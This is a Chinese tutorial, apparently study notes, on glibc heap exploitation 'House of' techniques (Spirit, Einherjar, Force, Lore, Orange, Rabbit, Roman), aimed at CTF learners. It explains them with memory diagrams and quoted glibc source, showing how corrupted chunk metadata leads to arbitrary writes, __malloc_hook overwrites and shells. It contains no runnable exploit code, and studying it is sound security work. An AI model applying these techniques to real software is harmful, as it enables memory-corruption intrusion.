Glibc的House of系列总结

前言

本系列文章的学习主线与核心知识点,均整理自 roderick 师傅的优秀博客(原文链接:https://www.roderickchan.cn/zh-cn/2023-02-27-house-of-all-about-glibc-heap-exploitation/),在此对原作者的分享表示由衷的感谢

本文最初是我在死磕 glibc 堆利用时的个人复习笔记。为了彻底吃透这些复杂的利用链,我在文中融入了个人的逻辑推演,并针对每一步操作绘制了精确的底层物理内存结构图,以辅助理解。近期在与其他师傅的技术交流中,受邀将这份私人笔记整理公开,希望能为同样在啃这些手法的师傅们提供一点不同的图解视角。

由于个人水平有限,文中难免存在理解偏差或错漏之处,敬请各位师傅海涵并谨慎甄别。后续我将继续在本系列更新其他 “House of” 家族手法的图解复盘。吃水不忘挖井人,强烈建议大家多多关注 roderick 师傅的原作博客,追根溯源

House of Spirit

适用版本范围

  • 2.23—— 至今

堆溢出写

假设内存布局如下:

低地址
+------------------+
|     Chunk A   |
+------------------+
|     Chunk B     |
+------------------+
|     Chunk C   |  
+------------------+
|     Chunk D     |
+------------------+
高地址

对 A 进行写操作溢出,覆盖了 B 的 size 域。 修改: 将 B 的 size 改为 size(B) + size(C)

接着free(b)

当 B 被释放时,堆管理器(ptmalloc)会检查 B 的 size 域来决定要把多大的内存块放回空闲链表(Bin)。 因为你修改了 size,堆管理器会认为 B 是一个巨大的块(包含了 C)。

堆管理器状态: 此时有一个巨大的空闲块(假设地址从 0x60000x6060)。

你的指针状态:

  • ptr_B:变成了悬空指针(Dangling Pointer),指着 0x6000
  • ptr_C:依然指着 0x6030(即原来 C 的位置,现在是大空闲块的中间)。

结果: 一个巨大的空闲块(Start at B, End at D’s beginning)被放入了空闲链表(例如 Unsorted Bin 或 Tcache)。

然后重新申请 B (ptr_B_new = malloc(...))

堆管理器操作: 把刚才回收的那个大块(覆盖 B+C)分配给你。

结果:

  • 你得到了一个新指针 ptr_B_new,它控制着 0x60000x6060 的整个区域。
  • 此时的局面: ptr_B_new 认为它拥有这整块地;而 ptr_C 依然指着这块地的后半截(0x6030)。
  • 这就形成了“重叠”: 两个有效的指针,指向了同一块物理内存的不同位置(包含关系)。

再free C

现在你执行 free(ptr_C)

堆管理器的反应: 堆管理器拿到 ptr_C 的地址(0x6030),它查看 0x6030 前面的头部信息(Header)。只要头部信息看起来合法(通常攻击者不需要动 C 的头部),堆管理器就会说:“好的,我把这块小内存(原 Chunk C)回收。”

链表操作(关键): C 被释放后,它被扔进了空闲链表(比如 Tcache 或 Fastbin)。 为了把 C 链入链表,堆管理器会在 C 的数据区前 8 个字节写入一个指针(fd 指针),指向链表里的下一个空闲块。

此时的内存状态:

  • 位置 0x6030 处: 刚刚被写入了一个核心的堆地址(fd 指针)。
  • 你的权利: 别忘了,你的 ptr_B_new 依然合法地拥有整个大区域(包括 0x6030

通过写 B 控制 C

现在,你只需要做一件事: 使用 ptr_B_new 向内存写数据。

因为 ptr_B_new 覆盖了 ptr_C 的位置,你可以算出偏移量,精准地修改 0x6030 处的内容。

  • 原来: 0x6030 处是堆管理器写的 fd 指针(如下一个空闲块地址)。
  • 修改: 你用 ptr_B_new 把它改成了 __free_hook 的地址 或者 栈地址

结局: 下次程序再申请一个小内存(和 C 一样大)时,堆管理器会顺着你伪造的 fd 指针去找,结果把 __free_hook 或者栈分配给你。你就可以往里面一写 shellcode 或 system 地址

House of Einherjar

我们知道,如果一块被申请的(且大小不在fastbin范围、无tcachebin或tcachebin填满)malloc chunk释放时,如果前一块被标记为 free chunk,则会进行向前合并的操作


+------------------+
|Chunk A(位于栈上)|   伪造的Fake Chunk(开头就是目标地址)
|fd     |       bk |
+------------------+

      |
      |
      |
      |
      |
      |
      |
堆块区
+------------------+
|   Chunk B       | <--- 1. 我们在这里溢出,改下面 C 的prev size
+------------------+
|   Chunk C       | <--- 2. P位被改,以为 B 是空的
+------------------+     3. Free(C) 触发向上合并,吃掉 B+A

角色分配

  • Chunk A (Fake Chunk)位于栈上(目标地址)。这是我们要诱导堆管理器去的地方。
  • Chunk B (The Writer)位于堆上。我们要利用它向后写数据(Overflow)。
  • Chunk C (The Trigger)位于堆上,紧跟在 B 后面。它是被牺牲的“引线”。

这里需要先了解下,合并时,需要将prev-chunk从链表中unlink下来,而堆块从链表unlink下来时,有一些检查和判断

if (__builtin_expect(FD->bk != P || BK->fd != P, 0))                 
malloc_printerr(check_action, "corrupted double-linked list", P, AV);
  • P:当前准备要从链表中取出的 Chunk(Player)。
  • FD:P 的前向指针 P->fd(Forward,指向后一个块,我们可以叫它“Next”)。
  • BK:P 的后向指针 P->bk(Backward,指向前一个块,我们可以叫它“Prev”)。

这个检查逻辑是:

  1. FD->bk != P:去问问 P 后面那个块(Next),你的 bk 指针是指向 P 的吗?
  2. BK->fd != P:去问问 P 前面那个块(Prev),你的 fd 指针是指向 P 的吗?

如果其中任何一个回答“不是”,那就说明链表断了或者被篡改了,直接报错(Crash)

这个 Fake Chunk 必须能够绕过 Unlink 检查!

假设 Fake Chunk 的起始地址是 Target_Addr

精心构造 fd = Target-0x18bk = Target-0x10(跟在fake size之后)

为什么要减 0x18 和 0x10?

  • 为了满足 P->fd->bk == PP->bk->fd == P。让这个 Fake Chunk 自己指自己,形成逻辑闭环,骗过检查

利用 Chunk B 的溢出,修改 Chunk C 的头部。

  • 计算距离 XX = Chunk_C_Addr - Target_Addr
  • 操作
    1. 把这个 X 填入 Chunk C 的 prev_size 域。
    2. 利用 Off-by-null 把 Chunk C 的 P 位改成 0

现在执行 free(C)

检查 P 位:系统看到 C 的 P=0,认为“前一块”是空闲的。

定位前一块

  • 系统读取 prev_size (也就是我们填的那个巨大的差值 X)。
  • 计算前一块地址:C_Addr - X = Target_Addr
  • BOOM!系统直接定位到了栈上的 Fake Chunk!

Unlink 检查(关键时刻)

  • 系统要合并 Fake Chunk,必须先把它从链表中“摘”下来(执行 Unlink)。
  • 保安去检查 Fake Chunk 的 fdbk
  • 因为我们在第一步里精心构造了 fd = Target-0x18bk = Target-0x10
  • 检查通过

现在 Unsorted Bin 里有一个起始地址在栈上的超级大 Chunk。

  1. 执行 malloc(大小要合适,通常和 Fake Chunk 的 size 匹配)。
  2. Unsorted Bin 头部就是栈地址
  3. 你拿到了一个指向栈的指针!

此时,就可以往往这个指针里写数据了

关于Unlink检查:

glibc2.26后:

if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0))   
malloc_printerr("corrupted size vs. prev_size");

glibc2.29及以后:

/* consolidate backward */
if (!prev_inuse(p)) {
   prevsize = prev_size (p);
   size += prevsize;
   p = chunk_at_offset(p, -((long) prevsize));
   if (__glibc_unlikely (chunksize(p) != prevsize))
       malloc_printerr ("corrupted size vs. prev_size while consolidating");
   unlink_chunk (av, p);
}

就是检查prev_chunk(伪造的chunkA)的size和chunkC里写的prev_size是否一样

回顾一下我们的利用数据:

  • Chunk C (堆上)
    • 它的 prev_size 被我们填成了一个巨大的值(比如 0xffff...,代表堆到栈的距离)。
  • Fake Chunk A (栈上)
    • 我们在栈上伪造的 A。
    • 为了方便,我们通常随便写个大小,比如 size = 0x100

结果: chunksize(A) [0x100] != prev_size(C) [0xffff...] BOOM!程序崩溃

绕过核心: 我们在栈上伪造 Fake Chunk A 时,不能再随便填 size 了我们必须把 Fake Chunk A 的 size 也填成那个巨大的距离值

House of Force

非常简单的修改top chunk的利用手法,能达到任意地址malloc的效果

假设内存布局如下:

低地址 (Low Address)
    +-------------------------+ <--- ptr_A
    | Chunk A User Data       |
    | ...                     |
    +-------------------------+ <--- Top Chunk 的头部 (0x4020)
    | prev_size: 0           |
    | size: 0x20000 (真实剩余) |
    +-------------------------+
    | Top Chunk Body         |
    | (剩余的可用内存)         |
    | ...                     |
    +-------------------------+
     
      ... (茫茫多的内存) ...
     
    +-------------------------+ <--- Target_Addr (0x8000)
    | __malloc_hook           |
    +-------------------------+
      高地址 (High Address)
  • 申请 chunk A
  • A 的时候溢出,修改 top_chunksize 为很大的数(通常是 -1,即 0xFFFFFFFFFFFFFFFF)我们需要申请一个巨大的 Chunk,刚好把 Top Chunk 的指针从当前位置(0x4020)推到 目标位置的前面(0x8000)

TopChunk的size被改到很大,所以可以偏移到几乎任意位置,实现任意地址malloc

如果malloc的是一个负数,malloc(size),int size<0 —> unsigned>>0,则偏移为负数,可以把Top Chunk 的头部 (0x4020)往低地址推

意味着可以往低地址拓展

需要注意的是在高版本2.29+,加了限制

      victim = av->top;
size = chunksize (victim);

if (__glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): corrupted top size");

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

av->system_mem 是当前 Arena 申请的总内存大小

如果 Top Chunk 的大小比这个总账还要大,那就会爆

House of Lore

===================================================================
MEMORY LAYOUT (纵向视图)
===================================================================

[ 区域 1: Libc - Main Arena ]
(存放 Small Bin 的链表头)

+-------------------------+
| Small Bin Head | <--- 这里的 bk 指针指向 B (正常)
+-------------------------+ 这里的 fd 指针指向 B (正常)
| fd: 指向 Chunk B | |
| bk: 指向 Chunk B | |
+-------------------------+ |
| ^ |
| | |
v | |
| |
======================|============|===============================
[ 区域 2: Heap - 堆区 ] | |
(地址从低向高增长) | |
| |
[ Chunk A (Allocated) ] |
+-------------------------+ |
| prev_size | |
+-------------------------+ |
| size | |
+-------------------------+ |
| User Data | |
| .................... | |
| (我们在这里写入溢出数据) | |
| (覆盖到了下面的 B 头) | |
+-------------------------+ |
| (溢出 Overwrite) |
v |
[ Chunk B (Free - Small Bin) ] |
+-------------------------+ |
| prev_size (被 A 覆盖?) | |
+-------------------------+ |
| size (0x....01) | |
+-------------------------+ | <--- Chunk Header
| fd: 指向 Libc Bin Head |--+ (B->fd 正常指向 Bin)
+-------------------------+
+---- | bk: *被篡改为指向 Stack* | (!!! 攻击点 !!!)
| +-------------------------+ (原本当指向 Bin,现指向 Fake)
| | (Unused / Rest) |
| +-------------------------+
|
| [ Chunk C (Guard Chunk) ]
| +-------------------------+
| | prev_size |
| +-------------------------+
| | size |
| +-------------------------+
| | User Data |
| +-------------------------+
|
|
===================================================================
[ 区域 3: Stack - 栈区 ]
(或者任意可控地址,存放 Fake Chunk X)
|
| +-------------------------+ <---- 地址 X (Fake Chunk)
+---> | fake prev_size |
+-------------------------+
| fake size |
+-------------------------+
| fake fd: *指向 Chunk B* |------+ (!!! 绕过检查的关键 !!!)
+-------------------------+ | (X->fd 必须指回 B)
| fake bk: (任意值/目标) | |
+-------------------------+ |
| (Payload Area) | |
+-------------------------+ |
|
===================================================================

malloc(A)malloc(B)malloc(C)

  • 注意:其中 chunk B 大小要位于 smallbin,C 的存在是为了防止 B 释放后直接和 Top Chunk 合并。

free(B):

  • 此时 B 首先进入 Unsorted Bin。

malloc(D) (D > B)。

  • 系统遍历 Unsorted Bin 发现 B 太小,不满足 D 的需求,于是把 B 归档,放入 Small Bin 中。

现在 Small Bin 里只有一个 B。因为是双向循环链表,Bin 的头尾都指向 B,B 的头尾也指向 Bin

(Glibc - main_arena)                 (Heap 堆内存)
+--------------------+ +----------------------+
| Small Bin Head | | Chunk B |
| | <---fd--- | (现在的空闲链表头) |
| bk 指针 | ---bk---> | fd 指针 |
+--------------------+ | bk 指针 |
^ +----------------------+
| ^
| |
+-------------------------------------+
(互相指向:Bin->bk 是 B,B->fd 是 Bin)

接着构造 Fake Chunk (X):在栈上或者我们可控的内存 X 处,伪造一个假堆块。

  • 关键点:必须设置 X->fd = B。这是为了绕过系统的保护检查(Safe Unlink)。

溢出攻击:利用 Chunk A 的溢出漏洞,覆盖 Chunk B 的头部。

篡改指针:将 Chunk B 的 bk 指针修改为 X (Fake Chunk 的地址)

为什么要 X->fd == &B 当系统要把 B 从链表里拿出来时,会进行一个完整性检查: 系统会看 B 的后一个节点(也就是 X),问 X:“你的前一个节点是我(B)吗?” 代码检查逻辑:if (B->bk->fd != B) 报错; 所以我们必须在 X 里伪造 fd 指向 B,通过这个检查。

接着malloc(size of B)

  1. 系统查看 Small Bin,发现头部是 B
  2. 系统把 B 分配给用户。
  3. 关键动作(Unlink):系统要把 B 从链表里移除。
    • 系统读取 B 的 bk 指针,发现是 X
    • 系统更新 Small Bin 的头节点记录:Main_Arena->smallbin_bk = B->bk(B->bk现在指的是X)
    • 也就是说,系统现在认为 X 是 Small Bin 里的下一个空闲块

再次 malloc(size of B)

  1. 系统查看 Small Bin,根据上一步的记录,它认为当前的链表头(第一个可用的块)是 X
  2. 系统虽然觉得 X 在栈上有点奇怪,但只要 X 的结构看起来像个 Chunk(有 size 字段等),系统就会把 X 分配给用户
  3. 攻击成功:你拿到了一个指针,这个指针指向栈上的 X 地址。你可以往这里写入 ROP 链或者修改返回地址。

补充

触发 Tcache Stashing Unlink 机制的核心场景是:当你向 Small Bin 申请内存时,Tcache 没满,且 Small Bin 里还有剩余的空闲块。

在引入了 tcache stash unlink 的时候,需要注意绕过:

#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;

tcache_put (tc_victim, tc_idx);
}
}
}
#endif

什么是 “Stash”(自动进货机制)?

Tcache(Thread Local Cache)就像是 CPU 的 L1 缓存,速度极快。 Small Bin 就像是内存条(或者二级缓存),速度稍慢。

当你向 Small Bin 申请一个内存块(比如 malloc(0x100))时,Glibc 会想:

“既然用户现在需要 0x100 的块,说明这个大小的需求很热门。现在的 Small Bin 里还有好几个 0x100 的块,与其下次用户要的时候我再费劲从 Small Bin 拿,不如我现在顺手把剩下的几个都搬到 Tcache 里去存着。”

这个“顺手搬运”的过程,就叫 Stash

对应代码中的 while 循环:

while (tcache->counts[tc_idx] < mp_.tcache_count  // 只要 Tcache 还没满(默认7个)
&& (tc_victim = last (bin)) != bin) // 且 Small Bin 里还有货
{
// 把 bin 里的块取出来,塞进 Tcache
// 这里会进行 unlink 操作!
}

为什么会崩?(非法内存访问)

回想一下 House of Lore 的攻击场景: 你修改了 Small Bin 中 Chunk B 的 bk 指针,指向了栈上的 Fake Chunk。 此时链表是:Bin Head -> Chunk B -> Fake Chunk

当你申请内存(拿走 Chunk B)时:

  1. 用户拿到了 Chunk B
  2. Stash 机制触发:Glibc 发现 Tcache 没满,而且检测到 Bin Head -> bk 变成了 Fake Chunk(因为你刚把 B 拿走了,Fake Chunk 成了排头兵)。
  3. 灾难发生:Glibc 试图把 Fake Chunk 也搬进 Tcache。搬运需要把 Fake Chunk 从 Small Bin 解绑(Unlink)。代码执行:bck = tc_victim->bk; (读取 Fake Chunk 的 bk)代码执行:bck->fd = bin; (写入 Fake Chunk bk 指向的地址的 fd)

崩溃点: 通常我们在伪造 House of Lore 的 Fake Chunk 时,只伪造了 fd 指针来绕过检查,而往往忽略了 bk 指针。 如果 Fake Chunk 的 bk 指针 是随机的垃圾值或者 0:

程序试图去写 (垃圾地址)->fd,导致 Segmentation Fault (非法内存访问),程序直接挂掉(Down 掉)。


如何绕过?

就是为了阻止这个 while 循环执行,不让 Glibc 碰我们的 Fake Chunk。

方法一:tcache->counts[tc_idx] ≥ mp_.tcache_count

人话把 Tcache 填满。

操作:在触发攻击前,先申请并释放 7 个同大小的堆块,把 Tcache 塞满。

原理:如果不缺货,Glibc 就不会去 Small Bin 进货,while 循环进不去,自然就不会碰你的假块。这是最常用的方法。

方法二:tc_victim = last (bin)) == bin

人话让 Small Bin 看起来是空的。

原理:让程序以为 B 拿走后,Bin 里就没人了。但这对 House of Lore 来说很难,因为我们攻击的核心就是让 Bin 指向 Fake Chunk,所以这个条件通常不适用攻击场景

House of Orange

适用版本范围:2.23——2.26

堆溢出写

假设我们现在有一个 Chunk A,并且它存在堆溢出漏洞。我们利用这个漏洞,往后写数据,把 Top Chunk 的大小(Size)偷偷改小

[ 正常堆状态 ]
+-----------------+
| Chunk A |
| (正常使用中) |
+-----------------+
| Top Chunk | ---> Size: 0x20000 (很大,正常状态)
| (剩余空闲内存) |
+-----------------+

[ 第一次溢出后 ]
+-----------------+
| Chunk A | ---> 发生溢出,覆盖了下方的内容
+-----------------+
| Top Chunk | ---> Size: 0x1000 (被我们恶意改小了!)
| (剩余空闲内存) |
+-----------------+

现在 Top Chunk 被我们改成了 0x1000。 如果我们此时向系统申请一块 大于 0x1000 的内存(比如 0x2000),会发生什么?

系统一看,当前的 Top Chunk 只有 0x1000,不够分啊!于是,系统会向操作系统申请一块全新的、更大的内存作为新的 Top Chunk。

而那个旧的、只有 0x1000 大小的 Top Chunk,就被系统“丢弃”了,当成垃圾放进了 Unsorted Bin

[ 申请 0x2000 内存后 ]
+-----------------+
| Chunk A |
| (正常使用中) |
+-----------------+
| Old Top Chunk | ---> 它现在是一个 Free Chunk,躺在 Unsorted Bin 里
| (Size: 0x1000) |
+-----------------+
... (内存缝隙) ...
+-----------------+
| New Top Chunk | ---> 系统新分配的,非常大,用来满足以后的分配
+-----------------+

我们再次利用 Chunk A 的堆溢出漏洞,把这个旧的 Top Chunk 里的数据改掉

Size: 改成 0x61(为了后续匹配特定的small bin链表大小)

bk 指针: 改成 &_IO_list_all - 0x10(这是 Unsorted Bin Attack 的核心,用来修改系统的全局变量)

伪造文件流: 在里面伪造一个假的 _IO_FILE 结构体,并把里面的函数指针(vtable)指向我们想执行的代码,比如 system("/bin/sh")

[ 第二次溢出后:精心布置的陷阱 ]
+-----------------+
| Chunk A | ---> 再次溢出,篡改下方的 Free Chunk
+-----------------+
| Old Top Chunk |
| Size: 0x61 |
| bk 指针 | ---> 指向 &_IO_list_all - 0x10
| |
| 伪造的_IO_FILE |
| 伪造的 vtable | ---> 函数指针指向 system("/bin/sh")
+-----------------+

万事俱备,我们最后再随便申请一块内存(大小不是 0x60 的块)

系统在分配时,会去遍历 Unsorted Bin,结果系统发现这个块大小不合适,然后会执行 Unsorted Bin Attack,顺着指针把 IO_list_all - 0x10 这个地方改成了 main_arena

然后malloc 就得把它从 Unsorted Bin里拿出来,放到对应的 Smallbin里去

因为它的 size 是 0x60,所以它被精准地放入了专门存放 0x60 大小的分类垃圾桶:main_arena.bins[4]

_IO_FILE 的结构体中,有一个叫做 chain 的指针(用来指向下一个文件),它的偏移量刚好是 0x68

而在 main_arena 中,从 _IO_list_all 伪造的头部往后数 0x68 个字节,刚好就是 main_arena.bins[4] 的位置

malloc 把我们的块放入 Smallbin 后,会继续在 Unsorted Bin 里往下找(顺着bk),结果来到了IO_list_all 区域,看到这个Fake Chunk

+---------------------------------------------------+
| malloc 试图读取这个 "Fake Chunk" 的头部信息: |
| prev_size: (读到了 _IO_list_all 往前 16 字节的数据)|
| |
| Size: (读到了 _IO_list_all 往前 8 字节的数据) |<--- 致命错误发生在这里!
+---------------------------------------------------+
|
| 这里的 "Size" 实际上是 libc 内部的一个指针地址(比如 _IO_stderr_ 相关的指针)。
| 它的值是一个巨大的数字(比如 0x7fxxxxxxxxx)。
V

====== 触发系统安全检查 (Sanity Check) ======
+---------------------------------------------------+
| malloc 内部的防御机制启动: |
| if ( size <= 0x10 || size > 系统总内存大小 ) { |
| // 这个 Size 绝对不合理! |
| 触发报错! |
| } |
+---------------------------------------------------+
|
V
====== 系统大喊救命,引爆陷阱 ======
+---------------------------------------------------+
| 调用 malloc_printerr("malloc(): memory corruption")| ---> 打印"内存损坏"错误
+---------------------------------------------------+
|
V
+---------------------------------------------------+
| 调用 abort() 函数准备强行终止程序 |
+---------------------------------------------------+
|
V
+---------------------------------------------------+
| 触发 _IO_flush_all_lockp() 试图刷新所有输入输出流 | ---> 踩中我们之前布置好的 _IO_FILE 陷阱!
+---------------------------------------------------+
|
V
[ 拿到 Shell! ]

glibc-2.26 后,malloc_printerr 不再刷新 IO 流了,所以该方法失效

House of Rabbit

适用版本范围:2.23——2.26

堆溢出写、use after freeedit after free

在了解这个手法前,需要先了解下malloc_consolidate

malloc_consolidate 是 glibc 堆管理器(ptmalloc)中一个非常核心的内部函数。如果用一句话来概括它:它是系统针对 Fastbin 的一次“强制大扫除”和“碎片整理”机制

Fastbin 的设计初衷是为了极速。当你释放(free)一个很小的内存块时,系统为了快,会直接把它扔进 Fastbin。

  • Fastbin 的特点: 绝对不合并!哪怕两个相邻的块都被释放并放进了 Fastbin,系统也会假装看不见,绝不把它们拼成一个大块。(因为合并操作需要耗费时间计算指针和解链)。

带来的问题:内存碎片化。 如果程序疯狂地 malloc 然后 free 小块内存,Fastbin 里就会堆满密密麻麻的零碎小块。这时,如果你突然向系统申请一块大内存,系统发现虽然总的空闲内存足够,但都被切成了 Fastbin 里的碎块,拼凑不出一整块大的来

这时候,malloc_consolidate就会发挥作用

[ 触发 malloc_consolidate 之前 ]
内存布局:充满了零碎的 Fastbin 块
+--------+--------+--------+--------+--------+
| 使用中 | Fastbin| Fastbin| 使用中 | Fastbin|
| ChunkA | ChunkB | ChunkC | ChunkD | ChunkE |
+--------+--------+--------+--------+--------+

====== 开始大扫除 ======

第 1 步:封锁 Fastbin
系统把整个 Fastbin 链表全部清空(指针设为 NULL),告诉程序:“现在开始大扫除,Fastbin 暂时停用!”

第 2 步:逐个捞出、试图合并
系统依次遍历刚刚从 Fastbin 里拿出来的每一个小块(比如 ChunkB, ChunkC, ChunkE)。
对于每一个小块,系统会检查它的邻居:
- 看上面:如果它前面的块也是空闲的,就把它们合并。
- 看下面:如果它后面的块也是空闲的,就把它们合并。
(注意:在上面的例子中,ChunkB 和 ChunkC 刚好相邻,它们会被合并成一个更大的块!)

第 3 步:扔进正规垃圾桶 (Unsorted Bin)
合并完成后,这些曾经的 Fastbin 小碎块,不论有没有被合并,都不允许再回到 Fastbin 了。
系统会把它们全部塞进无序垃圾桶 —— Unsorted Bin。

====== 大扫除结束 ======

[ 触发 malloc_consolidate 之后 ]
内存布局:碎片被合并,放入了 Unsorted Bin
+--------+-----------------+--------+--------+
| 使用中 | Unsorted Bin | 使用中 |Unsorted|
| ChunkA | (ChunkB+ChunkC) | ChunkD |(ChunkE)|
+--------+-----------------+--------+--------+

House of Rabbit 的核心就是:在 Fastbin 里混入一个指向我们伪造地址的指针,等系统“大扫除”时,把我们的伪造块顺手牵羊带进正规的 Unsorted Bin 里,从而实现任意地址分配

我们首先申请两个 Chunk(A 和 B),确保 A 的大小在 Fastbin 范围内(比如 0x40),申请b是为了防止与top chunk合并,然后我们 free(A),A 就会进入 Fastbin 链表

[ 初始状态:Fastbin 链表 ]

Fastbin Head
|
V
+-----------------+
| Chunk A | ---> 处于 Free 状态,躺在 Fastbin 里
| Size: 0x41 |
| fd: NULL |
+-----------------+

我们利用 Use-After-Free (UAF) 或者从上方块溢出,修改已经释放的 Chunk A 的 fd 指针

正常情况下,fd 应该指向下一个 Fastbin 块或者 NULL。我们把它改成一个我们想要控制的目标地址(Fake Chunk)

同时,为了骗过系统的基本检查,我们需要在这个目标地址布置一个伪造的 Size(比如伪造一个 0x81)

注意:这里为了防止合并触发复杂的 unlink 检查,通常会把伪造块的前后状态标志位(PREV_INUSE)设置好,让系统以为它周围的块都在使用中,不需要合并

[ 篡改 fd 指针后:埋下暗线 ]

Fastbin Head
|
V
+-----------------+ +-----------------------+
| Chunk A | | Fake Chunk (目标) |
| Size: 0x41 | | Size: 0x81 |
| fd 指针 | ---> | ... 数据 ... |
+-----------------+ +-----------------------+
(这个 Fake Chunk 可以位于 bss 段、栈上,或者堆的其它地方)

现在我们在 Fastbin 里埋好了雷,我们向系统申请一个比较大的内存块(比如 malloc(0x500)),或者释放一个巨大的块(> 0x10000)

系统一看请求这么大,立刻触发 malloc_consolidate 进行大扫除

系统来到 Fastbin,拿出了 Chunk A。

系统顺着 Chunk A 的 fd 指针往下找,盲目地相信了这根被我们篡改的线

系统找到了我们的 Fake Chunk,并且把它当作一个合法的空闲块,从 Fastbin 摘下来,放进了 Unsorted Bin 里

[ 触发 malloc_consolidate 后的链表状态 ]

Fastbin Head ---> NULL (被清空了)

Unsorted Bin Head
|
V
+-----------------+ +-----------------------+
| Chunk A | | Fake Chunk (目标) |
| (现在在 | <--> | (也被拉进了 |
| Unsorted Bin) | | Unsorted Bin!) |
+-----------------+ +-----------------------+

我们只需要再执行一次普通的 malloc,请求的大小正好匹配我们伪造的 Size(比如 0x80)。 系统遍历 Unsorted Bin,发现 Fake Chunk 大小正好合适,就会把它切下来分配给我们

系统返回的指针 --->  +-----------------------+
| Fake Chunk (目标) |
| (现在被我们完全控制)|
+-----------------------+

由于这个 Fake Chunk 的地址是我们指定的(比如是保存关键变量的全局数据区、栈上的返回地址区等),现在系统把它当成正常的堆块分配给了我们。我们往里面写入数据,就实现了任意地址写 (Arbitrary Address Write

可能有人会问:既然我已经篡改了 Fastbin 里的 fd 指针,让它指向了我的 Fake Chunk,那我直接再调用一次小内存的 malloc,把它从 Fastbin 里拿出来不就好了吗?为什么非要大费周章地触发 malloc_consolidate,把它赶进 Unsorted Bin 呢?

答案就四个字:“逃避审查”

当你试图从大小为 0x40 的 Fastbin 链表里拿出一个块时,系统会强行检查这个块头部的 Size 字段。如果这个 Size 不是 0x40(或者属于 0x40 这个档位),系统会立刻报 fastbin size mismatch 错误并崩溃

而unsortedbin就几乎不会对size进行检查

那么又可能会有人问,那要是这个fake chunk的size合法呢

那结果就是空间太小了不够塞利用链,unsorted bin就挺好

需要注意的:

  • 2.26 加入了 unlinkpresize 的检查
  • 2.27 加入了 fastbin 的检查

House of Roman

适用版本:2.23——2.29

use after free、堆溢出

先申请 A, B(0x70), C, D

释放 B,此时 B 进入 fastbin[0x70]

利用 A 的堆溢出,将 B 的 size0x71 篡改为一个大于 Fastbin 范围的值(例如 0x91,属于 Unsorted Bin 范围)

再次释放 B。由于此时 Size 看起来是 0x91,系统将它放进了 Unsorted Bin

进入 Unsorted Bin 后,系统会自动在 B 的 fdbk 位置写入 main_arena

此时的 B,既是 Fastbin 里的 0x70 块,又是 Unsorted Bin 里的 0x90 块

[ 阶段一:Chunk B 拥有的双重身份与宝贵的 libc 指针 ]

+-------------------------+
| prev_size |
| Size: 0x91 (被 A 篡改) | ---> 系统以为它是 Unsorted Bin 块
| fd: <main_arena + 88的地址> |
| bk: <main_arena + 88的地址> |
+-------------------------+
(同时,Fastbin[0x70] 的链表头依然默默指向着这个地址)

再次利用 A 溢出(或 UAF),只覆盖 Chunk B 的 fd 指针的最后两个字节

将其修改为 __malloc_hook - 0x23 对应的低位地址

受 ASLR(地址随机化)影响,这里有 4 个 bit 需要“盲猜”(1/16 成功率)

[ 阶段二:篡改 fd 指针的低位字节 ]

篡改前 (原本是 main_arena):
fd: 0x7f...[固定高位]... B78

只覆盖最后两字节 (变成 __malloc_hook - 0x23):
fd: 0x7f...[固定高位]... AED <--- 'E' 这个位置需要爆破碰运气

利用 A 的溢出,把 B 的 Size 修正回 0x71,以免在 Fastbin 取出时触发大小检查报错。

连续执行两次 malloc(0x68)

第一次 malloc 取出了 Chunk B。第二次 malloc 就会顺着我们篡改的 fd,把 __malloc_hook - 0x23 这个伪造的块分配给你

[ 阶段三:Fastbin 分配完成后的内存控制权 ]

我们现在拥有了一个合法的堆指针,它指向:
+-------------------------+ <--- __malloc_hook - 0x23
| 伪造的 Chunk 头部 |
| (利用错位形成的合法 Size)|
| |
| __malloc_hook | <--- 它现在位于我们可写的用户数据区内!
+-------------------------+

Chunk B 之前不是还有一个 Unsorted Bin 的身份吗?我们利用溢出修改它的 bk__malloc_hook - 0x10

触发 Unsorted Bin 的分配逻辑(申请一个大小不匹配的块)

系统在解链时,执行 bk->fd = main_arena。这会将 main_arena+88 直接写入到 __malloc_hook

[ 阶段四:Unsorted Bin Attack 轰炸目标 ]

+-------------------------+
| __malloc_hook |
| 内容: <main_arena+88> |
+-------------------------+

万事俱备,最后一步:把 __malloc_hook 里的 main_arena 地址,改成 one_gadget(一键 getshell 的代码片段)

通过阶段三拿到的控制权,直接向 __malloc_hook 写入数据。

我们只覆盖 main_arena+88低 3 个字节,将其改成 one_gadget 的低位地址。

终极爆破点: 这里的 3 个字节中,有 12 个 bit 是完全随机的,所以我们需要硬猜(1/4096 成功率)

猜中后,程序再次执行 malloc 时,就会触发被篡改的 __malloc_hook,直接跳转执行 one_gadget 弹出 Shell

需要注意的是:

这个手法主要用在不能show的题目上,否则可以直接泄露出libc地址不需要爆破了,第三阶段也可以直接改malloc_hook了

House of Storm

适用版本:2.23——2.29

堆溢出、use after freeedit after free

在了解这个手法之前需要知道

在 glibc 的 C 语言源码中,一个 Chunk 的结构体定义是这样的

struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* 前一个 chunk 的大小 */
INTERNAL_SIZE_T mchunk_size; /* 当前 chunk 的大小 */

struct malloc_chunk* fd; /* 常规双向链表:指向下一个 chunk 的指针 */
struct malloc_chunk* bk; /* 常规双向链表:指向上一个 chunk 的指针 */

/* 下面这两个只有 Large Bin 里的空闲块才有 */
struct malloc_chunk* fd_nextsize; /* 指向下一个【不同大小】的 chunk 的指针 */
struct malloc_chunk* bk_nextsize; /* 指向上一个【不同大小】的 chunk 的指针 */
};

